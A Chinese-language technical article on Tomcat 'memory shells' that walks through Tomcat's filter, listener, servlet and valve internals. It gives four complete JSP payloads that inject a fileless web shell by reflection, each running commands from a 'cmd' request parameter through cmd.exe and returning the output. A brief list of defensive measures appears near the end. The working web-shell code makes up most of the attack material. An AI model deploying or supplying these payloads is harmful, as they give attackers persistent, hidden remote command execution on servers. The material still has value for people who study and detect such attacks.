深入研究Tomcat内存马的攻击技术
字数 2558 2025-08-20 18:17:59
Tomcat内存马攻击技术深入研究
1. 简介
Tomcat内存马(Tomcat Memory Shell)是一种利用Apache Tomcat服务器漏洞将恶意代码注入Tomcat进程内存中的攻击技术。这种攻击方式不需要在磁盘上写入文件,具有高度隐蔽性,能够绕过传统文件检测机制。
2. 环境要求
- 操作系统:Windows 10
- Tomcat版本:9.0.73
- JDK版本:1.8.0_66
3. Tomcat配置文件解析机制
Tomcat在启动时会解析配置文件,主要流程如下:
- 从
StandardContext类的startInternal方法开始 - 调用
fireLifecycleEvent方法触发配置事件 - 通过
ContextConfig类的configureStart方法调用webConfig方法 webConfig方法合并Tomcat全局web.xml、应用web.xml、web-fragment.xml和注解配置信息- 调用
configureContext方法将解析出的配置信息关联到Context对象
关键方法调用栈:
configureContext:1447, ContextConfig (org.apache.catalina.startup)
webConfig:1330, ContextConfig (org.apache.catalina.startup)
configureStart:987, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:304, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)
startInternal:4851, StandardContext (org.apache.catalina.core)
4. Filter内存马技术
4.1 Filter基础示例
一个简单的Filter实现:
@WebFilter(value = "/hello", filterName = "hello")
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter init");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("do filter");
chain.doFilter(request, response);
}
@Override
public void destroy() {
System.out.println("filter destroy");
}
}
4.2 Filter注册流程
动态添加Filter的过程:
- 调用
ApplicationContext的addFilter方法创建FilterDef对象 - 调用
StandardContext的filterStart方法得到filterConfigs - 调用
ApplicationFilterRegistration的addMappingForUrlPatterns生成filterMaps
关键点:
- 可以通过手动修改
filterMaps顺序或调用addFilterMapBefore将自定义filter放在第一位 - 需要构建
filterDefs、filterMaps、filterConfigs三个关键变量
4.3 Filter触发流程
调用栈分析:
doFilter:16, HelloFilter (org.example.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:167, StandardWrapperValve (org.apache.catalina.core)
...
关键步骤:
StandardWrapperValve.invoke方法构建filterChain- 调用filterChain的
doFilter方法 - 遍历filterChain中的FilterConfig,获取Filter并调用其
doFilter方法
4.4 Filter内存马实现
完整JSP内存马示例:
<%@ page import="java.util.Map,java.io.IOException,org.apache.tomcat.util.descriptor.web.*,org.apache.catalina.*,java.lang.reflect.*" %>
<%!
public class MyFilter implements Filter {
public void init(FilterConfig config) throws ServletException {}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
if(request.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd", "/C", request.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
resp.getWriter().write(new String(bytes, 0, len));
process.destroy();
return;
}
chain.doFilter(req,resp);
}
public void destroy() {}
}
%>
<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 检查是否已存在
String filterName = "evilFilter";
if (standardContext.findFilterDef(filterName) == null) {
// 创建FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(MyFilter.class.getName());
filterDef.setFilter(new MyFilter());
// 添加到filterDefs
standardContext.addFilterDef(filterDef);
// 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 添加到filterMaps第一位
standardContext.addFilterMapBefore(filterMap);
// 创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class
.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor
.newInstance(standardContext, filterDef);
// 添加到filterConfigs
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(standardContext);
filterConfigs.put(filterName, filterConfig);
out.println("Inject Success!");
}
%>
5. Listener内存马技术
5.1 Listener类型
常用监听器:
ServletContextListener:监听Servlet上下文创建/销毁ServletContextAttributeListener:监听Servlet上下文属性变化ServletRequestListener:监听Request请求创建/销毁ServletRequestAttributeListener:监听Request属性变化HttpSessionListener:监听Session状态HttpSessionAttributeListener:监听Session属性变化
5.2 Listener流程分析
关键点:
- 监听器存储在
applicationEventListenersList属性中 - 可通过
addApplicationEventListener或setApplicationEventListeners方法添加监听器 - 事件对象通过
ServletRequestEvent构造
5.3 Listener内存马实现
JSP内存马示例:
<%@ page import="java.io.*,java.lang.reflect.*,org.apache.catalina.*" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null) {
try {
InputStream in = Runtime.getRuntime()
.exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")})
.getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext() ? s.next() : "";
Field reqField = req.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request request = (Request) reqField.get(req);
request.getResponse().getWriter().write(out);
} catch (Exception e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
// 获取StandardContext
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext context = (StandardContext) req.getContext();
// 添加监听器
MyListener listener = new MyListener();
context.addApplicationEventListener(listener);
out.println("Inject Success!");
%>
6. Servlet内存马技术
6.1 Servlet流程分析
关键方法:
ApplicationContext.addServlet:创建FilterDef对象ApplicationServletRegistration.addMapping:添加URL与Wrapper映射StandardContext.addServletMappingDecoded:在servletMappings中添加映射
6.2 Servlet内存马实现
JSP内存马示例:
<%@ page import="java.io.*,javax.servlet.*,java.lang.reflect.*,org.apache.catalina.*" %>
<%!
public class MyServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if(req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime()
.exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")})
.getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext() ? s.next() : "";
resp.getWriter().write(out);
}
}
}
%>
<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 检查是否已存在
String servletName = "evilServlet";
if(servletContext.getServletRegistration(servletName) == null) {
// 创建Servlet
MyServlet myServlet = new MyServlet();
// 使用Wrapper封装
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServletClass(myServlet.getClass().getName());
wrapper.setServlet(myServlet);
// 添加到children
standardContext.addChild(wrapper);
// 添加映射
standardContext.addServletMappingDecoded("/evil", servletName);
out.println("Inject Success!");
}
%>
7. Valve内存马技术
7.1 Valve机制
Tomcat中的Pipeline-Valve机制:
- 每个容器(Engine/Host/Context/Wrapper)都有一个Pipeline
- Pipeline中包含多个Valve,最后一个为Basic Valve
- 请求会依次通过各个Valve
7.2 Valve内存马实现
JSP内存马示例:
<%@ page import="org.apache.catalina.valves.*,org.apache.catalina.connector.*,java.io.*,java.util.*,java.lang.reflect.*" %>
<%!
public class MyValve extends ValveBase {
public void invoke(Request request, Response response) throws IOException, ServletException {
if(request.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime()
.exec(new String[]{"cmd.exe", "/C", request.getParameter("cmd")})
.getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext() ? s.next() : "";
response.getWriter().write(out);
return;
}
getNext().invoke(request, response);
}
}
%>
<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 添加Valve
MyValve valve = new MyValve();
standardContext.getPipeline().addValve(valve);
out.println("Inject Success!");
%>
8. 防御措施
- 代码审计:检查是否有可疑的反射调用和动态类加载
- 运行时监控:监控Tomcat内存中的filter/listener/servlet/valve变化
- 权限控制:限制上传和执行JSP文件的权限
- 安全加固:
- 禁用不必要的功能
- 及时更新Tomcat版本
- 使用安全管理器
- 内存检测工具:使用专门的内存马检测工具定期扫描
9. 总结
Tomcat内存马攻击技术主要利用以下机制:
- 通过反射获取和修改Tomcat核心组件
- 动态注册恶意组件(Filter/Listener/Servlet/Valve)
- 利用Tomcat请求处理流程执行恶意代码
四种内存马对比:
| 类型 | 隐蔽性 | 稳定性 | 实现难度 | 适用场景 |
|---|---|---|---|---|
| Filter | 高 | 高 | 中等 | 最常用 |
| Listener | 高 | 中 | 简单 | 需要请求触发 |
| Servlet | 中 | 高 | 简单 | 需要特定URL访问 |
| Valve | 最高 | 最高 | 复杂 | 需要深入理解机制 |
理解这些技术原理不仅有助于防御,也能提升对Tomcat架构的深入认识。